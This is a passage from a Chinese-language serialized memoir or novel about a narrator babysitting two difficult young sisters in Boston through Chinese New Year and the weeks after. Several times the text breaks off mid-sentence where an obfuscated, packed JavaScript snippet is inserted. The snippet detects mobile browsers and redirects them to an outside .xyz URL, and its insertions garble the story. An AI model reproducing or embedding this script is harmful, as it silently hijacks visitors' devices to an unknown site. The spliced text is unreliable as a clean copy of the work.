不一会儿安卡跑出了游戏室,我出于看护的职责跟出去,看见她和班缇在电脑上玩游戏,我从包里拿出红纸和福字问她们要不要做春节的装饰,她们自然头也不抬,我只得自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437786|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己拿了一把剪刀在旁边剪福字。 琳达今天提前到家,说外面路不好走,让我可以早些离开,我收了手里的东西站起身。 琳达对班缇和安卡说:“你们不要总是玩游戏。” 两个孩子完全沉浸在电脑游戏里,对她置若罔闻,我心照不宣地冲琳达撇撇嘴,潜台词是“我对她们也无能为力”,琳达也向我撇撇嘴——这就够了,她能明白并非我不负责任就行。 琳达一边陪我走到客厅一边聊到明天孩子学校的中国新年庆祝活动,我顺势从包里拿出红包:“我为班缇和安卡准备了红包,原本不确定是今天还是下次给她们,但既然明天学校有新年活动,就提前让她们感受一下过年的气氛吧——每个红包里面装了五元人民币,合不到一美元。” 琳达回应道:“给孩子这个钱数没关系。”又惊叹于红包的精美。 我高兴地笑笑,觉得之前的准备总算没有白费。 琳达连忙将红包拿过去给班缇和安卡,并趁机合上她们面前的笔记本电脑。 两个孩子看见红包立刻开心地大声欢呼,班缇一拿到就很有经验地打开取出钱,安卡这才明白其中关窍,也想打开,却激动得手都在颤抖,失手将红包掉到地上——唉,看来任何人在任何年龄都是喜欢钱的呀,再多心思的付出还抵不上五块钱的贿赂。 琳达把我送到门口,安卡也一直跟着,还亲热地大声对我说:“彦岚,再见!” 回家后我几乎得了抑郁症,想和老公说说他却不想听,还笑话我长了一张娃娃脸,连小孩子都欺负我。 安卡阴阳我撒谎和班缇对我数学能力的轻视真的深深刺痛了我,感觉受到了隐性歧视和精神虐待,而来自貌似天真的孩童的敌意和偏见更加令人心寒,因为不是说“小孩嘴里掏真话”吗?一时间我竟完全丧失了自信,自我认知变得非常低,怀疑自己是否真的那么令人讨厌,才总是被小孩子夹枪带棒地针对,恶言恶语地相加,难道在别人眼里我就是个说谎和愚蠢中国人吗? 很想彻底放弃这份差事,虽然仍然相信这是上天给我的又一次功课、又一场试炼,可是这一次我真的坚持不下去了! 23. 第十二章 峰回路转的大年三十 事情仿佛总是这样,就在我几乎想要放弃的时候,紧接而来的一次看护却发生了转折性的变化,从此一切渐渐进入正轨,我的定力经此一役又有所提升。 中国农历大年三十那天,班缇和安卡的学校放假,琳达因为工作脱不开身,需要我和两个孩子全天待在一起,我事先在家做了许多准备,带了故事书、《大富翁》游戏、打印的福字、糯米粉、豆沙馅,还有一碗自己做的八宝饭。 出门前祈求一切平安顺利,由于严重积雪,公共交通大幅延误,地铁里的站台上乌泱泱挤满了早晨通勤的人,路上花了近两个小时才赶到琳达家。 两个孩子都穿着睡衣,好像刚起床不久的样子,我微笑着向从我面前经过的安卡打了声招呼,她略显腼腆地冲我笑笑,我在心里暗下决心:今天是大年三十,不管怎样也要对孩子和和气气,让我和她们都能过一个愉快的年。 琳达匆匆向我交代好需要注意的事项,例如午饭吃什么、不要让姑娘们整天看电视、希望她们下午能去附近的小公园活动一下、外出活动时我可以借用她放在地下室的雪裤等等,然后便和亨特一同出门了。 班缇和安卡正扒在餐桌上看笔记本电脑上的一个儿童节目,我将包里的东西拿出来给她们看,告诉她们今天要一起包汤圆,安卡兴奋地说:“我一直想学做汤圆!” 我坐下陪她们看了会儿节目,做出很感兴趣的样子,问里面的人物都是谁,两个孩子很高兴我对她们喜欢的东西有兴趣,起劲地一一向我介绍。 看了大约半个钟头,我觉得时间差不多了,拿出福字问她们要不要来做春节的装饰,她们被电视节目吸引没有响应,我也不勉强,自己拿起剪子先剪起来,一边在旁边继续陪着看节目。 她俩很快被我手里的东西吸引,问我在干什么,也要参与。我去书桌抽屉里拿来红色、黄色和黑色的涂色笔,和她们一起把我事先打印的黑色“福”字剪下来贴在红纸上,又给几种不同花样的镂空“福”字涂色,然后贴在墙上作为新年装饰。 安卡一直嚷嚷着要做汤圆,我吩咐她们洗手,一边在厨房准备原料,两个孩子洗完手在我的指导下将糯米粉加水揉成团,再分成一个个小剂子捏成小碗形状,里面放上豆沙馅,最后包起来搓成球。两姐妹玩得很开心,当然也为抢着和面以及谁能得到最后一块面团吵吵嚷嚷,最后她们总结:“其实做汤圆一点也不难,一共只需要四个步骤。” 安卡从厨房台面上拿起一块钢化玻璃材质的砧板放包好的汤圆,班缇紧张地说:“这是妈妈最喜欢的砧板,你可别弄坏了!” 安卡回答:“我知道。” 我把她们搓好的大大小小的汤圆放进锅里煮上,接着准备简单的午餐——把琳达事先煮熟的通心粉加点黄油和火腿肠热一下,由孩子们拌上调味酱,又用冰箱里的面包、午餐肉、奶酪和生菜做了三明治,琳达还特意准备了意大利千层面给我当午餐。 忙碌停当,我和班缇、安卡一起坐在餐桌前享用午餐,当然少不了热腾腾现出锅的汤圆和八宝饭,可开吃时才发现两个孩子极其讨厌汤圆和八宝饭里的红豆馅,严重到沾一丁点就想吐的程度,安卡勇敢地尝试咬了一点汤圆的外皮,班缇则连碰也没碰,我遗憾地说:“早知道就做没有馅的汤圆了。” 安卡一边吃饭一边问我:“你比凯瑟琳大吗?” 我趁此机会向她补习有关我年龄的知识:“对,我应该至少比凯瑟琳大十岁。” “为什么?” “因为凯瑟琳还在上大专,而我已经从本科和研究生院毕业很多年了。” 原本不想提这些,无奈遇到这种看重“论资排辈”又不知轻重的小孩,只得搬出这套她们比较容易理解的标准好为我的工作减轻些难度。 吃完午饭打算带两个孩子出去活动活动,她们却要玩《大富翁》游戏,最终我们达成协议:先玩一会儿《大富翁》,然后出去活动,回来再接着玩。 《大富翁》游戏真是个打发时间的好东西,很快一个多小时过去,我提醒该出门活动了,安卡又赖着多玩了一圈,被第二次提醒时居然乖乖答应了。 大家一起到地下室穿上出门的装备——外套、雪裤、雪靴、帽子、围巾和手套,波士顿冬季严寒,气温动辄零下十多度,在室外长时间活动必须全副武装,否则一会儿工夫人就冻坏了。 琳达所说的小公园在房子后面不远处,要翻过一个土坡,土坡上的积雪深及成年人的膝盖,有附近的邻居正在上面玩滑雪板。班缇一马当先在前头开路,我和安卡远远落在后面,安卡累得几次躺在雪里几乎要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437787|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭出来,转眼又爬起来继续前进,令我不得不佩服西方孩子的勇猛。 翻过土坡穿过一条马路就来到琳达口中的小公园,其实只是一小块有一组儿童攀爬设施和两个秋千架的空地,设施的大半部分此时已经被深深埋在雪里,班缇跑到攀爬设施上玩,安卡则让我帮她推秋千,我一面推一面告诉她“秋千”的中文。 看着两个孩子在白茫茫的世界里玩耍,那一刻我们之间抽去了所有种族、语言和信任上的障碍,四下里一片寂静,天空似有若无地飘着一些小雪花,有那么一瞬我感到很幸福,觉得儿童看护这种工作真好。 安卡很快就嚷着口渴要回家,刚才在雪中的跋涉消耗了很多水分,我也觉得口干舌燥,班缇却正在雪里刨洞玩得起劲。我和班缇商量一分钟后回家,可是一分钟还没到安卡又改变主意不想走了,我便让她们尽情地在户外玩耍——今天是她们的假期,也是中国农历的大年三十,可以不再有平日学校操场的十五分钟限制了。 半个小时后孩子们玩够了,我们沿原路返回,到家时每个人都累得气喘吁吁,不过确实是很好的心肺锻炼。脱下全身装备回到饭厅,又和孩子们接着玩了会儿《大富翁》,安卡在某个地方耍赖不想付地税给班缇,便宣布“我不喜欢这个游戏”,一下子就不要玩了——她常常对于一件事情专注力很差,稍有不顺就要放弃,班缇的性格则比较软弱,顺从地跟着安卡离开餐桌。 两个孩子打开音乐在客厅里跳自编的舞蹈,我将餐桌上玩了一半的《大富翁》收起来,她们跳得兴起,跑到卧室里换上舞蹈服接着跳,又叫我用手机帮她们录像,我录完给她们看,可是才看了几秒钟安卡又注意力转移,说累了要去看电视。 十分钟后琳达和亨特回来了,我上前汇报了孩子们一天的活动,又向他们展示墙上的福字和厨房里的汤圆,琳达和亨特都很高兴。 由于今天看护时间比较长,回去有些晚,路上的交通状况又很糟糕,琳达很慷慨地给我叫了辆网约车送我回家。当我惬意地坐在出租车里,望着车窗外道路两旁随处可见的一堆堆积雪和急着赶回家却苦于糟糕路况的人们,心里不禁感到一阵轻松——今天上天保佑再加上我的精心准备,过得出奇地顺利和开心,农历年的最后一天,我总算得到了给自己的一份犒赏。 24. 第十三章 柳暗花明的大年初一 第二天是大年初一,刚开头就不轻松,琳达上午带孩子在离我住处几站路的地方看牙医,为了替我节省些路上的时间,约好和我中午十二点在牙医诊所会合。我查好公交车的时间,还特意提前几分钟出门,谁知快到车站时却眼睁睁看着一辆车在车站停下,然后一溜烟开走了——这趟车居然比预定时间提前了好几分钟。 我只得站在风雪中苦苦等待下一班车,偏偏下一班车又比预定时间晚到了几分钟,这期间琳达还打来电话说她那边提前好了,先去马路对面的一家杂货店等我。幸好一路尚算顺利,公交巴士在风雪里并未比平时慢太多,我终于在十二点准时推开杂货店的玻璃门与琳达会合了。 琳达带着两个孩子朝店外走,我跟在后面,安卡却失手将刚买的一杯牛奶掉在地上,她瘪着嘴作势要哭,我一边叫住前面的琳达一边安慰她,琳达转身捡起地上的空纸杯,然后拉着两个孩子去找店员说明情况并道歉,店员和气地笑笑说没关系,拿起清洁工具去打扫。我望着此刻愁眉苦脸的安卡,突然发现在外面陌生的环境里她原来显得那么弱小和无助,平常在家里的霸道劲儿都不知道去哪儿了。 坐在琳达那辆外表很不起眼的黑色宝马里一路同她聊着天,得知琳达和亨特都在麻省理工学院附近上班,琳达公司的创始人原先是麻省理工的教授,公司许多员工也都是从麻省理工毕业的,亨特则曾在麻省理工读过一年MBA,现在在儿童医院工作,他们一年半前才搬到波士顿,之前在新加坡住了七年,再之前在澳大利亚许多地方待过,到今年十一月份就结婚满二十五周年了——没想到他们的经历也如此坎坷,和我们倒有某些共通之处。 到家琳达把孩子留给我就去地下室工作了,班缇和安卡突然为了抢一把粉红色的新牙刷争执不下,安卡今天显得特别躁动不安,无论我问她想做什么她都说“不想”,因为她的好朋友米娅要来她家过夜,于是她每隔一会儿就跑到楼下问妈妈“米娅什么时候来”,对其他任何事情都没有心思,两个孩子一会儿弹电子琴,一会儿吹笛子,一会儿玩填字游戏,每样东西都只玩几下就放下,不停从一个地方换到另一个地方,我跟在后面无所适从,心累得要命。 好不容易熬到下午三点,我拿出从图书馆借的安徒生童话《夜莺》读给班缇听,安卡在旁边听了两耳朵,大约觉得还不错,也凑过来,总算消停了一阵子。 琳达做完工作打电话让米娅的妈妈把米娅送过来,她们一进门安卡就兴奋地跳起来拉着米娅一起听故事,米娅是一个黑黑瘦瘦十分安静的小女孩,几乎安卡说什么她都会顺从。 刚听了两句故事安卡就对米娅说“我们去玩游戏吧”,拉着她跑开了,班缇也跟着去了游戏室,故事是读不成了,我只得放下书跟过去。才在游戏室里玩了会儿娃娃,安卡又拉着米娅进卧室换装,还把门关上不许我看,我只好站在门外,听见两位妈妈正在厨房里聊得热火朝天。 安卡和米娅换好衣服开门出来,两个人身上都穿着万圣节的巫婆装,其中一件是班缇的,安卡又不由分说拎起班缇的一双靴子要给米娅换上,班缇不满地抗议道:“这是我的靴子,你至少得先跟我说一声吧。” 安卡这才大声请求:“班缇,拜托!” 班缇回答:“好吧,但是你得付给我七十五美分。” 安卡生气地大叫:“什么?——好吧好吧!” 我想她大约也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437788|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搞不清楚七十五美分是多少。 安卡把米娅拉到卧室里,班缇有些插不进去,悻悻地拿起一本画册坐到餐桌前画画,我一时不知该顾哪头,而这时距离我下班还剩半个小时。 想了想,我过去对安卡说:“我还有半个小时就要走了,如果你想把《夜莺》听完就要现在来听。” 安卡问:“你可以下次再把书带来吗?” “下次可能就不会带来了。” 她认真地思考了一下,大声对米娅说:“米娅,我认为我们应该先把故事听完,反正你今天晚上在我家睡,我们可以过会儿再玩。” 我现在很佩服安卡这一点,无论在哪里总是一副说一不二的样子,关键是还总有人围绕在她身边听她驱使。 我们坐到沙发上,我问班缇要不要听故事,她不感兴趣地摇摇头,我于是给安卡和米娅读故事,没多久班缇也坐过来,《夜莺》的篇幅很长,下班前刚好读完,结束时安卡还对米娅感叹道:“米娅,这个故事真好听,是不是?”——能让她有此感悟也属难得了。 米娅的妈妈这时要走了,琳达送她出门,我也起身穿上外套,琳达送完米娅的妈妈回来告诉我:“昨天姑娘们过得很开心,晚上不停地跟我说。” 我听了也很高兴,对琳达说:“你知道吗?在中国的传统里如果昨天和今天这两天一切顺利的话,接下来一整年都会很顺利。” 琳达听到这话自然十分开心,任何人无论在什么时候都需要希望啊,这就当是我在大年初一送给她的好口彩吧。 离开琳达家独自走在雪地里,感慨今天虽然开局不利却有惊无险,中间有些艰难总算顺利渡过,结局也算是皆大欢喜了。 25. 第十四章 新的交锋 春节之后的一段时日与两个孩子相处得不好不坏,我也自我反思是否过于严苛,对她们宽松了许多,尽量顺着她们的意,过马路也不再要求牵手,而是前后多警醒照看些,大家大体上相安无事,只是在放学路上班缇和安卡越来越拖沓,总要费很大力气才能把她们领回家。 我以为和她们的纠结就此告一段落,不会再有太多新意,哪知道我还是错了。 最近安卡做自选的数学作业时不是随口编一个数学小故事就是在电脑上玩所有数字乘以一的游戏,这对她的学习毫无助益,时间长了恶果必然会显现,我不想到时候承担这种责任,于是打算和琳达提一下。 这天班缇和安卡各自打开电脑玩游戏,我规定只能玩十五分钟,并用手机设置了闹钟,十五分钟后班缇在我的提醒下很不情愿地离开电脑,安卡却岿然不动,我让她关电脑,她不理不睬,我就站在一旁盯着。 她冷冷道:“你看着我干什么?” 我说:“我在等你关电脑。” 她非但不听,反而傲慢地打开另一个游戏玩起来,我于是伸手去关电脑,她大叫:“这是数学游戏!” “那么再让你玩十分钟。” “妈妈说数学游戏我可以想玩多久就玩多久!” 我把手搭在她的电脑上正色道:“你现在有两个选择:第一,现在就关电脑;第二,再玩十分钟数学游戏。” 她说:“我要玩十分钟数学游戏。” 十分钟后我提醒她时间到了,没想到她开始耍无赖,冷冷地盯着电脑宣布:“我想玩多久就玩多久!” 我很生气:“好,我今天要和你妈妈好好谈谈,看看你是不是不需要遵守自己的承诺!” 她这才怕了,连忙道:“好吧好吧。” 关上电脑,她很不高兴,嘴里发出“哈——哈——”的声音,一旁正用几张白纸做城堡的班缇向我解释:“安卡是在学发怒的猫。” 我故意和颜悦色地问安卡:“那酷酷的猫是什么样子?” 她便换了一种声音。 我又问:“那可爱的猫呢?” 她发出尖细的“喵喵”声。 我于是温和地称呼她“小猫猫”,她便忘了刚才的不悦,用纸和钉书针做了一张“票”给我,我则拿起纸笔给她画了半小幅素描。 琳达到家时对我说希望以后每天让安卡读至少一本简单的儿童阅读书给我听,我心道安卡一定不肯乖乖执行,就委婉地向琳达表示:“我会努力尝试,安卡比较有主见。” 琳达同意:“她确实是太有主见了。” 我顺势谈起对安卡数学作业的担忧:“我觉得安卡口头编数学故事和网上做数学游戏太多了,多尝试不同的题目会比较有益。” 琳达道:“我赞同,下个星期我们会先从自己开始执行。” 下星期各大专院校放春假,凯瑟琳向琳达告了假出门旅行,我星期二、三、四将连续三天看护,星期一由琳达和亨特起头调整一下安卡做数学作业的方式,接下来三天再由我巩固,这样也挺好。 安卡这时很敏感地跑过来,估计是听到我们在谈论她,担心我说她坏话,我张开怀抱向她告别,她不爽地别过身没有回应,我便抱了抱侧着身子的她,琳达见状在一旁微笑。 那天我还觉得挺有成就感,以为用“小猫猫”的策略顺利解决了问题,谁知接下来的一次看护却遭到了安卡的疯狂“反扑”,一切似乎又回到最坏的时候,仿佛之前的所有隐忍和努力全都白费了,我气得五脏六腑翻江倒海,再次感到彻骨的寒意。 天气渐渐转暖,终于开始有了春天的迹象,星期二孩子们开开心心地在操场上玩了一会儿,离开操场时安卡叫我替她拿外套被我拒绝,她便叫珍妮拿,珍妮乖乖接过去,我出言制止:“让安卡自己拿——谢谢你,珍妮。” 安卡拿回外套,转头又让班缇替她拿,班缇伸手就接了过去,我不好再说什么。 一路上安卡走在中间,张扬地大声评论着白天在学校发生的事,那神态像极了处于青春期的叛逆少女,班缇和珍妮一边一个紧紧跟随,安卡在中间俨然如女王,我忍不住在心里暗暗吐槽:这样外强中干又粗鲁无礼的人,偏偏总能唬住一些人围在身边给她捧臭脚,真是令人无语。 到家还算顺利,我给两个孩子读了《皇帝的新装》,读完安卡还抱着书问长问短,我耐心地一一解答,谁知要做作业时状况又出现了,她突然一脸的冷漠和敌意:“我不想和你一起做作业,我要和妈妈一起做作业。” 我感到有些意外,但还是心平气和地对她说:“如果你不想和我一起做作业,等你妈妈回来我们去问问她可不可以,但是现在你必须先和我一起做作业,你妈妈希望你每天读至少一本书给我听。” 她从沙发上站起来冷冷地宣布:“我是不会读给你听的!”径自走开拿出数学作业做,先问了我几个单词的拼写,又去问正在专心读书的班缇。 我说:“班缇在读书,你有什么可以问我。” 她听见这话以为找到了能够拿捏我的软肋,立刻故意完全无视我,开始不停地问班缇问题,而班缇总是一边抱怨着“烦死了”,一边又和颜悦色不厌其烦地替她解答,当班缇没有及时回答时安卡就用尺子打班缇的头。 我连忙制止:“不可以这样。” 安卡挑衅地看了我一眼,即刻又去敲班缇的头,我上前拉开她的手,她嫌恶地冲我大喝道:“停下!” 我气愤以极,大声说:“你停下!如果你继续这么做,我现在就给你妈妈打电话。” 她稍微消停了一下,过一会儿又故态复萌,班缇悄悄抬头看了我一眼,似乎在寻求我的支援,可是除了愤怒和无奈我又能怎么办呢?毕竟她俩才是血肉相连的姐妹,安卡受了委屈班缇会心疼,安卡需要帮助班缇总是义无反顾,无缝隙地填补了任何我想管教安卡的机会,而我始终只是一个外人——果然,班缇转脸又和安卡亲热起来,我则在心里对安卡完全放弃了。 班缇终于不胜其烦,对安卡说:“我要读书,你有问题可以问彦岚。” 我也立刻在一旁附和,安卡这才又问了我几个单词的拼写。 安卡有一道作业题是在房间里寻找圆形的物品,她一时找不到,我建议她去厨房试试,跟着她进了厨房,她说了一句话,我重复了一遍,她立刻极其不耐烦地冲我咆哮道:“你听不懂我在说什么!这就是为什么我宁愿和班缇说话也不愿意和你说话!” 我感觉仿佛莫名其妙被人打了个耳光还无法还手,这已经无异于语言暴力了,不过一个看护的工作而已,尽心尽力却要不断遭受这种侮辱,真是够了! 安卡也不找圆形物品了,回到客厅和班缇玩在一处,我让班缇去其他房间读书,班缇不满地小声抱怨“是安卡找我的”,不过还是拿着书去饭厅了。 没了班缇,安卡打开笔记本电脑开始玩游戏,我对她说:“先做完作业才可以玩电脑。” 她置若罔闻,我上前挪开电脑问她:“你有没有听见我说话?” 她强硬地将电脑挪回去,我试图再挪她则死死把住,冲我大声喝道:“别动!你不能动电脑!” 我这回用力挪开电脑并大声说:“我当然可以动,我还可以不允许你玩电脑!” 她终于开始听我说话,我让她读书给我听,她说:“我可以自己默读。” 我说:“不,你必须读出来。” 她随便翻开一页读了起来,我让她从头读,她不听,我没再坚持。 读完她又要去玩电脑,我说:“不行,你前面几页还没读,读完才可以玩十五分钟电脑。” 她这才把前面几页也读了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437789|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 琳达回来时两个孩子都坐在沙发上看电脑上的儿童节目,我有些无奈地陪坐在一旁。 琳达看上去有些累,问我今天怎么样,我起身去穿外套,走到她身边小声说:“不太好。”又回头问安卡,“你不是有话对你妈妈说吗?” 安卡立刻道:“妈妈,我不想和彦岚做作业,以后我可不可以和你一起做作业?” 琳达忧心忡忡地问:“为什么?” “因为我觉得和你一起做作业比较舒服。” 琳达说:“你不能这样,我们昨天不是说过了吗?——我在跟你讲话,把电脑关上。” 安卡抗议道:“这是教育片!” 琳达皱起眉头:“关上!”又转头问我,“她今天也是这样对你的吗?” 我犹豫了一下,觉得说“是”或“不是”都不好,便回答:“有的时候。” 不过琳达显然已经接收到了讯号,她叫两个孩子回房间,班缇不满地抱怨了一句。 等两个孩子进了房间,琳达问我怎么了,我犹豫地说:“安卡好像不想让我和她一起做作业,她说数学也要和你一起做,阅读也要和你一起做,还不让我看着她,也拒绝我帮助她。” 琳达说:“昨天亨特和她一起做作业时她也是这样。” 这时亨特正好从车库上来,看见我俩一脸严肃的样子,便问:“怎么了?” 琳达解释了一句,亨特立刻大声把安卡叫出来,一边问琳达:“用你的方式还是我的方式?” 我不禁感到有些好笑,可以想象平时夫妇俩对孩子的态度一个严厉一个和蔼,而琳达的方式似乎更加有效,所以亨特对自己并不太自信,便在教训孩子之前征求琳达的意见。 琳达没有说话,亨特开始大声呵斥安卡,琳达在一旁补充:“彦岚来这里是帮助你的,我们不在的时候她就是像父母一样的成年人,你必须要听她的话。” 我也趁机向安卡解释:“我看着你并不是在监视你,而是因为我必须看着你的书才能确保你读的是对的。” 一时间似乎形成了三堂会审的局面,我感到有些尴尬——谁会愿意在外人面前被父母训呢?这下安卡在心里恐怕只会更恨我了吧?还是明智一点赶紧离开吧。 我对琳达说:“我还是先走吧,我们可以以后再谈。” 她说:“对,我们可以以后再谈。”然后抱歉地把我送出门。 今天的事真的让我心寒也很受挫,仿佛无端被送到别人面前遭受了一顿攻击,对这样的孩子还打不得骂不得毫无办法,这种被精神虐待的日子真是够了,我又是何苦?我再一次萌生了退意,可又总不想半途而废、中途逃跑,好像如果那样做的话便是证明自己在这个世界上连一件小事也不能善始善终。 回去的地铁上,我的对面站着几个年轻人,三个女孩非常漂亮,都穿着薄薄的紧身裤,浑身上下充满青春的活力,旁边还有两个小伙子,几个人肆意地大声说笑着,全不把周围的人放在眼里,仿佛在用他们的青春向这个世界宣战。我与其中一两个女孩偶尔四目相对,看到的是她们眼神中混杂的冷漠、戒备、局促和不安——我知道这种年轻人,扎堆时很张狂,落单时便没了气焰。 晚上看了一部叫做《食人鱼》的电影,影片开头一群身材性感的美国青年男女在美丽的水潭边随着节奏激烈的音乐疯狂扭动着身躯,恣意挥洒着青春,嚣张、放浪,毫无对苦难的认知和对所拥有的感恩之心——我不禁联想到现实中的所见,觉得许多美国人的生活有点像六道轮回中的天道,多享乐,少苦难,人性也失去了净化的机会,渐渐流于堕落。 没想到影片急转直下,红颜转眼成骷髅,青春健美的身体只剩下残肢断臂,自信的张扬变成惊恐的尖叫,前一秒的欢乐场成了下一秒的地狱门,一部看似纯娱乐的影片倒透出几分警世的寓意来。 26. 第十五章 绝地反击 第二天一觉醒来,昨日的怒气已经消了大半,开始认真思考今天要如何应对,觉得如果再一味忍耐只会让安卡得寸进尺。翻出曾经参加的有关如何与问题儿童打交道的培训资料,对照着安卡的情况重新看了一遍,发现对待问题儿童应该态度坚决、指示明确、鼓励但不过度表扬,而与问题儿童家长谈话也要讲究技巧、格外小心,在心里总结了需要和琳达沟通的几点并想好措辞。 看护时依旧对两个孩子和颜悦色,仿佛昨天的不快不曾发生过,安卡看上去也挺正常,可让她做作业时问题就来了,她将两只胳膊一抱,坐在沙发里宣布:“我是不会做作业的,也不会和你说话。” 好在班缇今天很配合地拿起书本去了阳光房,让我得以认真对付安卡。 我面无表情地站起身说:“好,那么今天我还是要好好和你妈妈谈谈,你可以不做作业,也可以不和我说话,我也不会和你说话,如果你什么时候想和我说话了,我随时奉陪。” 我从包里拿出一本书坐到餐桌前背对着安卡看起来,留下她一个人继续坐在沙发上,班缇有问题来问我就和声细语地解答。 这样过了几分钟,安卡终于忍不住了,把装着作业的塑料文件夹拿过来,好像开玩笑似地放到我脸前猛地打了一下,还好有眼镜框挡着并不是很疼,但我的血已经涌进了脑子里,愤怒地瞪着她,她吓了一跳,连忙大声解释:“这是个意外!” 我愠怒地望着她,沉声问:“你确定?” 她重复道:“是的,这是个意外!” 我仍是沉着声音:“永远永远不要再那么做,因为我很生气!” 她自知理亏,撇着嘴说:“好的。”然后乖乖开始做作业。 做阅读作业时我搬了把椅子重重在她身边坐下看着她读,做数学作业时她又开始挑衅了,今天要找出屋子里长方形和三角形的东西,她说找不到,我提醒她:“墙上的照片是长方形的。” 她却说:“那是正方形。” 我拿起一根绳子量给她看,她粗暴地打断我:“不要教我!我没让你教我!” 这是她惯用的伎俩,这一次我没有屈服,而是板着脸说:“我想教你就教你,这是我的权力。”然后量了照片的两边,告诉她,“因为长宽不一样,所以这是个长方形,正方形的边都是一样长的。” 她耍无赖:“大部分的尺子都量不准。” 我说:“大部分的尺子都量得准,你量不准是你的问题。” 她倔强地坚持:“这就是正方形,我说它是正方形它就是正方形!” 嗬,居然跟我玩指鹿为马那一套! 我毫不客气地反驳:“你说的不是事实,这是你的问题,不是我的问题。”然后继续看书不再理会她。 她又嘟哝了一句:“这是正方形。”终于消停了。 过了一会儿她说:“我不想写作业了,我要等妈妈回来再写。” 我说:“可以,不过你只有写完作业才能玩。” 她又想找靠山,大声问班缇:“班缇,你作业写完了吗?” 班缇问我:“我读书读了多久?” 我告诉班缇:“还有三分钟。”然后斩钉截铁地对安卡说,“班缇作业写完可以玩,你作业没写完还是不能玩,如果你们俩都写完了可以一起玩。” 她的计谋再次失败,只得继续找三角形的东西,却还是没有头绪,我想帮她,她说“我不要你帮我”,又去找班缇。 我说:“班缇在写作业不能帮你,她写完可以帮你,你如果需要我帮忙可以找我。” 如此几次三番才好不容易督促安卡完成了作业,两个孩子开始玩耍,我的面容也重新和蔼起来,称赞班缇在纸上画的安卡很漂亮,又帮安卡转椅子玩——不过她得说“请”才可以,还应安卡的要求替她发短信问琳达她今晚的钢琴课是什么时间。 琳达到家后问我:“今天怎么样?” 安卡在一旁很紧张地竖着耳朵听。 我回答:“一开始有些不容易,不过最后我们总算是解决了问题。” 琳达听了很高兴,安卡也似乎松了口气,跑上去像玩似地挠了一下琳达的脸,我看见琳达疼得闭起眼睛,立刻严厉地对安卡说:“这样很疼!” 琳达也出声抗议,安卡连忙小声说了句:“对不起。” 等两个孩子进了房间,我对琳达说:“我想和你谈谈,我只是想帮助姑娘们建立一些良好的习惯,这样她们将来会更加成功。” 这个句式是我从培训教材上抄来的,琳达略显意外地看了我一眼,我不知道这话是否令人觉得过于官方和正式,或是有些言过其实。 我继续道:“但是我需要你的支持,今天安卡起先还是拒绝做作业,也拒绝和我说话,我说‘你不和我说话没关系,我也不会和你说话,但是如果你想和我说话我随时奉陪’,我说她必须先写完作业才能玩,我板着脸坚持,结果奏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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其实我并不确定和琳达的这次谈话能有多大效用,从她反复强调所谓一致性就是“回家-吃零食-做作业-玩”以及要求孩子们将十二岁的儿童看护一视同仁当作成年人对待的说法上,我便对她对我这番话的重视程度不太乐观,不过我今天找琳达谈话的主要目的并不在于能让她完全赞同和配合我,而是向她报备接下来我会用自己的方式管教安卡,希望她能够理解,不要产生误会。 以前的我总是不希望安卡不喜欢我,所以言行多有顾忌,现在的我却根本不在乎她是否喜欢我,只想找回自己的尊严,让这份工作能够轻松一些,无欲则刚,对付她自然就容易多了。 身心舒畅,有种大获全胜的感觉,原来小霸王就是个纸老虎,没有了妈妈和姐姐在背后撑腰,一捅就破了。 27. 第十六章 渐入佳境 星期四本打算继续对安卡板着脸,觉得不能给她太多好颜色,可是看她在学校的表现还算正常,我也就还和往常一样。 在教室门口她拿出她的小布狗“嗅嗅”故意对我说:“嗅嗅怕你,因为它没见过你。” “我们昨天不是才见过吗,你忘了?”我问。 “但是它跟你还不熟。” 